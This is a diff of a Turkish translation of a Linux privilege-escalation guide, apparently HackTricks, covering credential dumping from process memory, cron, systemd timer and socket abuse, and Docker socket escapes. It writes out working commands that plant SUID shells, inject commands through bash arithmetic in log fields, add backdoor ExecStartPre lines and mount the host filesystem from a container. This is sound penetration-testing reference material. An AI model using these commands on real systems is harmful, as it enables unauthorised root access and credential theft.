[**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemi dökebilirsiniz +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir) ### İşlem Belleğinden Kimlik Bilgileri #### Manuel örnek -Eğer authenticator işlemi çalışıyorsa: +Eğer authenticator process çalışıyorsa: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Process'i dump edebilirsiniz (önceki bölümlere bakın; bir sürecin memory'sini dump etmenin farklı yolları anlatılıyor) ve memory içinde credentials arayın: +Process'i dump edebilirsiniz (önceki bölümlere bakın; bir process'in memory'sini dump etmenin farklı yollarını bulabilirsiniz) ve memory içinde credentials arayabilirsiniz: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Araç [**https://github.com/huntergregal/mimipenguin**] bellekten **açık metin kimlik bilgilerini** ve bazı **iyi bilinen dosyalardan** çalar. Doğru çalışması için root ayrıcalıkları gerektirir. +The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) bellekteki **düz metin kimlik bilgilerini** ve bazı **bilinen dosyalardaki** kimlik bilgilerini çalacaktır. Doğru çalışması için root ayrıcalıkları gerektirir. | Özellik | İşlem Adı | | ------------------------------------------------- | -------------------- | @@ -314,65 +313,64 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zamanlanmış/Cron işleri +## Zamanlanmış/Cron işler ### Crontab UI (alseambusher) running as root – web-based scheduler privesc -Eğer bir web “Crontab UI” paneli (alseambusher/crontab-ui) root olarak çalışıyor ve yalnızca loopback'e bağlıysa, yine de SSH local port-forwarding ile ona erişebilir ve yükselmek için ayrıcalıklı bir job oluşturabilirsiniz. +Eğer bir web “Crontab UI” paneli (alseambusher/crontab-ui) root olarak çalışıyor ve yalnızca loopback'e bağlıysa, SSH local port-forwarding ile yine ona ulaşabilir ve yükseltme için ayrıcalıklı bir job oluşturabilirsiniz. Tipik zincir -- Sadece loopback'e açık portu keşfet (ör., 127.0.0.1:8000) ve Basic-Auth realm'ini `ss -ntlp` / `curl -v localhost:8000` ile tespit et +- Loopback-only port'u (örn., 127.0.0.1:8000) ve Basic-Auth realm'i `ss -ntlp` / `curl -v localhost:8000` ile keşfet - Kimlik bilgilerini operasyonel artefaktlarda bul: - - Yedekler/scriptler (`zip -P `) - - systemd unit'ında `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` gibi değerler bulunabilir -- Tünelleme ve giriş: +- Yedekler/scriptler içinde `zip -P ` +- systemd birimi `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` değerlerini açığa çıkarıyor +- Tünel aç ve giriş yap: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- High-priv job oluşturun ve hemen çalıştırın (SUID shell bırakır): +- Yüksek ayrıcalıklı bir job oluştur ve hemen çalıştır (SUID shell bırakır): ```bash # Name: escalate # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` -- Kullan: +- Kullanın: ```bash /tmp/rootshell -p # root shell ``` -Güçlendirme -- Crontab UI'yi root olarak çalıştırmayın; dedicated user ve minimal permissions ile sınırlandırın -- localhost'a bind edin ve ayrıca erişimi firewall/VPN ile kısıtlayın; şifreleri tekrar kullanmayın -- Unit dosyalarına secrets gömmekten kaçının; secret store'lar veya root-only EnvironmentFile kullanın -- on-demand job executions için audit/logging etkinleştirin +Sertleştirme +- Crontab UI'yi root olarak çalıştırmayın; özel bir kullanıcı ve minimum izinlerle kısıtlayın +- localhost'a bağlayın ve ek olarak firewall/VPN ile erişimi kısıtlayın; parolaları yeniden kullanmayın +- Gizli bilgileri unit files içine gömmekten kaçının; secret stores veya sadece root erişimli EnvironmentFile kullanın +- İsteğe bağlı iş yürütmeleri için audit/logging etkinleştirin -Herhangi bir scheduled job'ın vulnerable olup olmadığını kontrol edin. Belki root tarafından çalıştırılan bir script'ten faydalanabilirsiniz (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misiniz? symlinks kullanmak? root'un kullandığı dizinde belirli dosyalar oluşturmak?). +Herhangi bir zamanlanmış görevin zafiyeti olup olmadığını kontrol edin. Belki root tarafından çalıştırılan bir script'ten faydalanabilirsiniz (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misiniz? symlinks kullanmak? root'un kullandığı dizinde belirli dosyalar oluşturmak?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron yolu Örneğin, _/etc/crontab_ içinde PATH'i şu şekilde bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Kullanıcı "user"ın /home/user üzerinde yazma ayrıcalıklarına sahip olduğuna dikkat edin_) +(_Kullanıcı "user"ın /home/user üzerinde yazma izinlerine sahip olduğuna dikkat edin_) -Eğer bu crontab içinde root kullanıcısı PATH ayarlamadan bir komut veya script çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\ - -Bu durumda, aşağıdakini kullanarak root shell elde edebilirsiniz: +Eğer bu crontab içinde root kullanıcı PATH'ı ayarlamadan bir komut veya script çalıştırmaya çalışıyorsa. Örneğin: _\* \* \* \* root overwrite.sh_\ +O zaman şu şekilde bir root shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Joker karakter içeren bir script kullanan Cron (Wildcard Injection) +### Cron'un wildcard içeren bir script ile kullanımı (Wildcard Injection) -Bir script root tarafından çalıştırılıyor ve bir komut içinde “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için exploit edebilirsiniz. Örnek: +Eğer root tarafından çalıştırılan bir script'in bir komutunun içinde “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için istismar edebilirsiniz. Örnek: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Eğer wildcard bir yolun önünde bulunuyorsa, örneğin** _**/some/path/\***_ **, bu açık değildir (hatta** _**./\***_ **da değildir).** +**Eğer wildcard bir yolun önünde ise, örneğin** _**/some/path/\***_ **, zafiyet yoktur (hatta** _**./\***_ **da yoktur).** Daha fazla wildcard exploitation tricks için aşağıdaki sayfayı okuyun: @@ -384,11 +382,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash, ((...)), $((...)) ve let içinde aritmetik değerlendirmeden önce parametre genişletmesi ve komut ikamesi uygular. Eğer root olarak çalışan bir cron/parser güvensiz log alanlarını okur ve bunları aritmetik bağlama beslerse, bir saldırgan cron çalıştığında root olarak çalışacak bir komut ikamesi $(...) enjekte edebilir. +Bash, ((...)), $((...)) ve let içinde aritmetik değerlendirmeden önce parameter expansion ve command substitution uygular. Eğer root cron/parser güvensiz log alanlarını okuyup bunları bir aritmetik bağlama besliyorsa, bir saldırgan cron çalıştığında root olarak çalışacak bir command substitution $(...) enjekte edebilir. -- Neden çalışır: Bash'te genişletmeler şu sırayla gerçekleşir: parametre/değişken genişletmesi, komut ikamesi, aritmetik genişletme, sonra word splitting ve pathname expansion. Bu yüzden `$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce ikame edilir (komut çalışır), sonra kalan sayısal `0` aritmetikte kullanılır ve script hatasız devam eder. +- Neden işe yarar: Bash'te genişletmeler şu sırayla gerçekleşir: parameter/variable expansion, command substitution, arithmetic expansion, ardından word splitting ve pathname expansion. Bu yüzden `$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce substitute edilir (komut çalıştırılır), sonra geriye kalan sayısal `0` aritmetikte kullanılır ve script hata olmadan devam eder. -- Tipik savunmasız örnek: +- Tipik zafiyetli örnek: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -398,7 +396,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- İstismar: Ayrıştırılan log'a saldırgan tarafından kontrol edilen metin yazdırın, böylece sayısal görünümlü alan bir komut ikamesi içerir ve bir rakamla biter. Komutunuzun stdout'a yazmadığından emin olun (ya da yönlendirin) ki aritmetik geçerli kalsın. +- Sömürme: Ayrıştırılan loga saldırgan kontrollü metin yazdırın, böylece sayısal görünen alan bir command substitution içerir ve bir rakamla biter. Komutunuzun stdout'a yazmamasını sağlayın (veya çıktıyı yönlendirin) ki aritmetik geçerli kalsın. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -407,21 +405,21 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Eğer root tarafından çalıştırılan bir cron betiğini **değiştirebiliyorsanız**, çok kolay bir şekilde shell elde edebilirsiniz: +Eğer root tarafından çalıştırılan bir **cron script**'ini değiştirebiliyorsanız, çok kolay bir şekilde shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Eğer root tarafından çalıştırılan script **tam erişiminizin olduğu bir dizin** kullanıyorsa, o klasörü silip sizin kontrolünüzde bir script sunan başka bir dizine **symlink klasörü oluşturmak** faydalı olabilir. +Eğer root tarafından çalıştırılan script, tam erişiminizin olduğu bir **directory** kullanıyorsa, o folder'ı silmek ve sizin kontrolünüzde bir script sunan başka bir yere işaret eden bir **symlink folder** oluşturmak faydalı olabilir. ```bash ln -d -s ``` -### Sık cron jobs +### Sık çalışan cron jobs -Süreçleri izleyerek her 1, 2 veya 5 dakikada bir çalıştırılan process'leri tespit edebilirsiniz. Belki bundan faydalanıp privilege escalation gerçekleştirebilirsiniz. +Süreçleri izleyerek her 1, 2 veya 5 dakikada bir çalıştırılan süreçleri arayabilirsiniz. Belki bundan faydalanıp yetki yükseltme yapabilirsiniz. -Örneğin, **1 dakika boyunca her 0.1s'de izlemek**, **daha az çalıştırılan komutlara göre sırala** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz: +Örneğin, **1 dakika boyunca her 0.1 saniyede izle**, **daha az çalıştırılan komutlara göre sırala** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -429,7 +427,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Görünmez cron jobs -Bir cronjob oluşturmak mümkündür: bir yorumdan sonra **putting a carriage return after a comment** (yeni satır karakteri olmadan) koyarsanız cron job çalışır. Örnek (carriage return char'ına dikkat): +Bir yorumdan sonra **carriage return koyarak** (yeni satır karakteri olmadan) bir cronjob oluşturmak mümkündür ve cron job çalışacaktır. Örnek (carriage return karakterine dikkat): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -437,87 +435,87 @@ Bir cronjob oluşturmak mümkündür: bir yorumdan sonra **putting a carriage re ### Yazılabilir _.service_ dosyaları -Herhangi bir `.service` dosyasına yazıp yazamayacağınızı kontrol edin, yazabiliyorsanız, bunu **değiştirip** servisin **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** sizin **backdoor**'unuzun **çalıştırılmasını** sağlayabilirsiniz (muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekebilir).\ -Örneğin .service dosyasının içine backdoor'unuzu şu şekilde oluşturun: **`ExecStart=/tmp/script.sh`** +Herhangi bir `.service` dosyasına yazıp yazamadığınızı kontrol edin, eğer yazabiliyorsanız, onu **değiştirerek** backdoor'unuzun servis **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **çalışmasını** sağlayabilirsiniz (muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecektir).\ +Örneğin backdoor'unuzu .service dosyasının içine **`ExecStart=/tmp/script.sh`** ### Yazılabilir servis ikili dosyaları -Unutmayın ki eğer **servisler tarafından çalıştırılan ikili dosyalar üzerinde yazma iznine** sahipseniz, bunları backdoor'lar için değiştirebilirsiniz; böylece servisler tekrar çalıştırıldığında backdoor'lar da çalıştırılacaktır. +Unutmayın ki eğer **servisler tarafından çalıştırılan ikili dosyalar (binaries) üzerinde yazma izniniz** varsa, bunları backdoor'lar için değiştirebilirsiniz; böylece servisler yeniden çalıştırıldığında backdoor'lar da çalıştırılacaktır. ### systemd PATH - Göreli Yollar -**systemd** tarafından kullanılan PATH'i şu komutla görebilirsiniz: +systemd tarafından kullanılan PATH'i şu komutla görebilirsiniz: ```bash systemctl show-environment ``` -Eğer yolun herhangi bir klasörüne **write** yazabiliyorsanız, **escalate privileges** mümkün olabilir. Servis yapılandırma dosyalarında kullanılan **göreli yolları** şu tür dosyalarda aramalısınız: +Eğer yolun herhangi bir klasöründe **yazma** yapabildiğinizi fark ederseniz, **escalate privileges** yapabiliyor olabilirsiniz. Servis yapılandırma dosyalarında **göreli yolların kullanılıp kullanılmadığını** aramanız gerekir, örneğin: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Daha sonra, yazma izniniz olan systemd PATH klasörü içine, göreli yol binary'siyle aynı ada sahip bir **executable** oluşturun; servis zafiyetli eylemi (**Start**, **Stop**, **Reload**) gerçekleştirmesi istendiğinde, sizin **backdoor**'unuz çalıştırılacaktır (yetkisiz kullanıcılar genellikle servisleri start/stop yapamazlar ama `sudo -l` kullanıp kullanamadığınızı kontrol edin). +Sonra, yazma izniniz olan systemd PATH klasörünün içine, **göreli yol binary'si ile aynı ada sahip bir executable** oluşturun; servis kırılgan eylemi (**Start**, **Stop**, **Reload**) gerçekleştirmesi istendiğinde, sizin **backdoor**'unuz çalıştırılacaktır (yetkisiz kullanıcılar genellikle servisleri başlatma/durdurma yetkisine sahip değildir; ancak `sudo -l` kullanıp kullanamadığınızı kontrol edin). -**Servisler hakkında daha fazla bilgi için `man systemd.service` komutunu kullanın.** +**Servisler hakkında daha fazla bilgi için `man systemd.service`'e bakın.** -## **Zamanlayıcılar** +## **Timers** -**Zamanlayıcılar** systemd unit dosyalarıdır; adları `**.timer**` ile biten ve `**.service**` dosyalarını veya olayları kontrol eden birimlerdir. **Zamanlayıcılar**, takvim zamanlı olaylar ve monotonik zaman olayları için yerleşik destek sundukları ve eşzamansız çalıştırılabildikleri için cron'a bir alternatif olarak kullanılabilir. +**Timers**, adı `**.timer**` ile biten systemd unit dosyalarıdır ve `**.service**` dosyalarını veya olayları kontrol eder. **Timers**, takvim zamanlı olaylar ve monotonik zamanlı olaylar için yerleşik destek sağladıkları ve asenkron olarak çalıştırılabildikleri için cron'a bir alternatif olarak kullanılabilir. -Tüm zamanlayıcıları şu komutla listeleyebilirsiniz: +Tüm timer birimlerini şu komutla listeleyebilirsiniz: ```bash systemctl list-timers --all ``` ### Yazılabilir zamanlayıcılar -Eğer bir zamanlayıcıyı değiştirebiliyorsanız, systemd.unit içindeki mevcut bazı birimleri (ör. `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz. +Eğer bir timer'ı değiştirebiliyorsanız, systemd.unit içindeki mevcut öğeleri (ör. `.service` veya `.target`) çalıştıracak şekilde ayarlayabilirsiniz. ```bash Unit=backdoor.service ``` -Dokümantasyonda Unit'in ne olduğu şu şekilde açıklanmış: +Dokümantasyonda Unit'in ne olduğu şu şekilde açıklanıyor: -> Bu timer sona erdiğinde etkinleştirilecek unit. Argüman, son eki ".timer" olmayan bir unit adıdır. Belirtilmemişse, bu değer timer unit ile aynı adı taşıyan, sadece son eki farklı olan bir service olarak varsayılan olur. (Yukarıya bakın.) Etkinleştirilen unit adı ile timer unit adının, son ek hariç, aynı isimde olması önerilir. +> Bu zamanlayıcı sona erdiğinde etkinleştirilecek unit. Argüman, son eki not ".timer" olan bir unit adıdır. Belirtilmemişse, bu değer varsayılan olarak zamanlayıcı unit'iyle aynı ada sahip olan, sadece son eki farklı bir service olarak ayarlanır. (Yukarıya bakınız.) Etkinleştirilen unit adı ile zamanlayıcı unit adı, son ek dışında aynı şekilde adlandırılmaları tavsiye edilir. -Bu izni kötüye kullanmak için şunları yapmanız gerekir: +Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir: -- Bir systemd unit (ör. `.service`) bulun; bu unit **yazılabilir bir binary çalıştırıyor** -- Bir systemd unit bulun; bu unit **göreli bir yol çalıştırıyor** ve siz **systemd PATH** üzerinde **yazma ayrıcalıklarına** sahipsiniz (o executable'ı taklit etmek için) +- Bazı systemd unit'leri (ör. `.service`) bulun; bunlar **yazılabilir bir ikili dosyayı çalıştırıyor**. +- Bir systemd unit'i bulun; bu unit **göreli bir yol (relative path) çalıştırıyor** ve sizin **systemd PATH** üzerinde **yazma ayrıcalıklarınız** var (o yürütülebilir dosyayı taklit etmek için). -**Zamanlayıcılar hakkında daha fazla bilgi için `man systemd.timer` komutunu kullanın.** +**Zamanlayıcılar hakkında daha fazla bilgi için `man systemd.timer`'a bakın.** -### **Timer'ı Etkinleştirme** +### **Zamanlayıcıyı Etkinleştirme** -Bir timer'ı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu komutu çalıştırmanız gerekir: +Bir zamanlayıcıyı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu komutu çalıştırmanız gerekir: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## Sockets +## Soketler -Unix Domain Sockets (UDS), istemci-sunucu modellerinde aynı veya farklı makinelerde **process communication** sağlar. Bilgisayarlar arası iletişim için standart Unix descriptor dosyalarını kullanır ve `.socket` dosyaları aracılığıyla yapılandırılırlar. +Unix Domain Sockets (UDS) client-server modellerinde aynı veya farklı makinelerde **süreçler arası iletişimi** sağlar. Bunlar bilgisayarlar arası iletişim için standart Unix descriptor dosyalarını kullanır ve `.socket` dosyaları aracılığıyla yapılandırılır. Sockets `.socket` dosyaları kullanılarak yapılandırılabilir. -**Daha fazla bilgi için sockets hakkında `man systemd.socket`'a bakın.** Bu dosyanın içinde, yapılandırılabilecek birkaç ilginç parametre vardır: +**Learn more about sockets with `man systemd.socket`.** Bu dosya içinde çeşitli ilginç parametreler yapılandırılabilir: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır fakat özetle socket'in nerede dinleyeceğini **belirtmek** için kullanılır (AF_UNIX socket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası vb.) -- `Accept`: boolean bir argüman alır. Eğer **true** ise, her gelen bağlantı için bir servis örneği oluşturulur ve yalnızca bağlantı socket'i ona geçirilir. Eğer **false** ise, tüm listening socket'ler başlatılan service birimine **geçirilir**, ve tüm bağlantılar için sadece bir service birimi oluşturulur. Bu değer datagram sockets ve FIFOs için göz ardı edilir; bu türlerde tek bir service birimi tüm gelen trafiği koşulsuz olarak ele alır. Varsayılan olarak false'tur. Performans nedenleriyle yeni daemon'ların `Accept=no` için uygun şekilde yazılması önerilir. -- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bunlar sırasıyla listening **sockets**/FIFOs **oluşturulmadan** ve bağlanmadan **önce** veya **sonra** çalıştırılır. Komut satırının ilk token'ı mutlak bir dosya adı olmalıdır, ardından işlem için argümanlar gelir. -- `ExecStopPre`, `ExecStopPost`: Listening **sockets**/FIFOs **kapatılmadan** ve kaldırılmadan önce veya sonra **çalıştırılan** ek **komutlar**dır. -- `Service`: Gelen trafik üzerine hangi **service** unit adının **aktif edileceğini** belirtir. Bu ayar yalnızca Accept=no olan sockets için izinlidir. Varsayılan olarak socket ile aynı adı taşıyan service'e işaret eder (uzantısı değiştirilmiş olarak). Çoğu durumda bu seçeneği kullanmaya gerek yoktur. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak özet olarak **socket'in nerede dinleyeceğini belirtmek** için kullanılır (AF_UNIX socket dosyasının yolu, dinlenecek IPv4/6 adresi ve/veya port numarası vb.) +- `Accept`: Boolean bir argüman alır. Eğer **true** ise, **her gelen bağlantı için bir service instance başlatılır** ve sadece bağlantı soketi ona iletilir. Eğer **false** ise, tüm dinleme soketleri kendileri **başlatılan service unit'e iletilir**, ve tüm bağlantılar için sadece bir service unit oluşturulur. Bu değer, tek bir service unit'un koşulsuz olarak tüm gelen trafiği işlediği datagram soketleri ve FIFO'larda göz ardı edilir. **Varsayılan: false.** Performans nedenleriyle yeni daemonların `Accept=no` için uygun olacak şekilde yazılması önerilir. +- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bunlar sırasıyla dinleme **sockets**/FIFO'ları **oluşturulmadan** ve bağlanmadan **önce** veya **sonra** **çalıştırılır**. Komut satırının ilk token'ı mutlak bir dosya adı olmalı, ardından süreç için argümanlar gelir. +- `ExecStopPre`, `ExecStopPost`: Dinleme **sockets**/FIFO'ları kapatılmadan ve kaldırılmadan önce veya sonra sırasıyla **çalıştırılan** ek **komutlar**. +- `Service`: Gelen trafik üzerinde **aktive edilecek** **service** unit adını belirtir. Bu ayar sadece Accept=no olan soketler için izinlidir. Varsayılan olarak, soketle aynı isme sahip servise işaret eder (ek takısı değiştirilmiş şekilde). Çoğu durumda bu seçeneğin kullanılması gerekli değildir. -### Yazılabilir .socket files +### Yazılabilir .socket dosyaları -Eğer bir **writable** `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir satır **ekleyebilirsiniz** ve backdoor socket oluşturulmadan önce çalıştırılacaktır. Bu yüzden **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecektir.**\ -_Sistemin o socket dosyası yapılandırmasını kullanıyor olması gerekir; yoksa backdoor çalıştırılmaz_ +Eğer bir **yazılabilir** `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir satır **ekleyebilirsiniz** ve backdoor soket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecektir.\ +_Not: Sistem bu socket dosyası yapılandırmasını kullanıyor olmalı, aksi takdirde backdoor çalıştırılmaz_ -### Yazılabilir sockets +### Yazılabilir soketler -Eğer herhangi bir **writable socket** tespit ederseniz (_şimdi config `.socket` dosyalarından değil, Unix Sockets'dan bahsediyoruz_), o socket ile **iletişim kurabilir** ve belki bir zafiyeti istismar edebilirsiniz. +Eğer herhangi bir **yazılabilir socket** tespit ederseniz (_şimdi bahsettiğimiz Unix Sockets ve config `.socket` dosyaları değil_), o soketle **iletişim kurabilir** ve belki de exploit a vulnerability. -### Unix Sockets'i Listeleme +### Unix Soketlerini Listeleme ```bash netstat -a -p --unix ``` @@ -539,48 +537,48 @@ socket-command-injection.md ### HTTP sockets -HTTP isteklerini dinleyen bazı **sockets** olabilir (_.socket dosyalarından değil, unix sockets gibi davranan dosyalardan bahsediyorum_). Bunu şu komutla kontrol edebilirsiniz: +Bazı **sockets** HTTP isteklerini dinliyor olabilir (_.socket dosyalarından değil, unix sockets olarak işlev gören dosyalardan bahsediyorum_). Bunu şu komutla kontrol edebilirsiniz: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If the socket **responds with an HTTP** request ise, onunla **communicate** edebilir ve belki bazı **exploit some vulnerability** gerçekleştirebilirsiniz. +Eğer socket **responds with an HTTP** request ise, onunla **communicate** edebilir ve belki **exploit some vulnerability** yapabilirsiniz. ### Yazılabilir Docker Socket -Docker socket, genellikle `/var/run/docker.sock` konumunda bulunur ve korunması gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu socket'e sahip olmak (possessing write access to this socket) privilege escalation'a yol açabilir. Aşağıda bunun nasıl yapılabileceğinin ve Docker CLI mevcut değilse alternatif yöntemlerin bir dökümü bulunmaktadır. +Docker socket, genellikle `/var/run/docker.sock` konumunda bulunur; güvence altına alınması gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu socket'e write access sahip olmak privilege escalation'a yol açabilir. Bunun nasıl yapılabileceğinin bir dökümü ve Docker CLI mevcut değilse alternatif yöntemler aşağıdadır. #### **Privilege Escalation with Docker CLI** -Docker socket'e write access'iniz varsa, aşağıdaki komutları kullanarak privileges'i escalate edebilirsiniz: +Eğer Docker socket'e write access'iniz varsa, aşağıdaki komutları kullanarak escalate privileges yapabilirsiniz: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -These commands allow you to run a container with root-level access to the host's file system. +Bu komutlar, host'un dosya sistemine root seviyesinde erişimi olan bir konteyner çalıştırmanıza izin verir. -#### **Docker API'sini Doğrudan Kullanma** +#### **Docker API'yi Doğrudan Kullanma** -In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. +Docker CLI mevcut olmadığında bile, Docker socket Docker API ve `curl` komutları kullanılarak manipüle edilebilir. -1. **List Docker Images:** Retrieve the list of available images. +1. **List Docker Images:** Kullanılabilir görüntülerin listesini alın. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +2. **Create a Container:** Host sisteminin kök dizinini mount eden bir konteyner oluşturmak için istek gönderin. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Oluşturulan konteyneri başlatın: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +3. **Attach to the Container:** `socat` kullanarak konteynere bağlantı kurun; bu, içinde komut çalıştırmayı sağlar. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -590,31 +588,31 @@ Connection: Upgrade Upgrade: tcp ``` -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +`socat` bağlantısını kurduktan sonra, host dosya sistemine root seviyesinde erişime sahip olarak konteyner içinde doğrudan komut çalıştırabilirsiniz. ### Diğerleri -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Unutmayın, eğer docker socket üzerinde yazma izinleriniz varsa çünkü **`docker` grubunun içindeyseniz** [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Check **more ways to break out from docker or abuse it to escalate privileges** in: +Docker'dan çıkmak veya docker'ı kötüye kullanarak ayrıcalıkları yükseltmek için **more ways to break out from docker or abuse it to escalate privileges** bölümüne bakın: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) ayrıcalık yükseltme +## Containerd (ctr) privilege escalation -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Eğer **`ctr`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** ayrıcalık yükseltme +## **RunC** privilege escalation -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Eğer **`runc`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -623,15 +621,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication. +D-Bus, uygulamaların verimli bir şekilde etkileşimde bulunup veri paylaşmalarını sağlayan gelişmiş bir **inter-Process Communication (IPC) system**'dir. Modern Linux sistemi düşünülerek tasarlanmış olan D-Bus, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar. -The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can 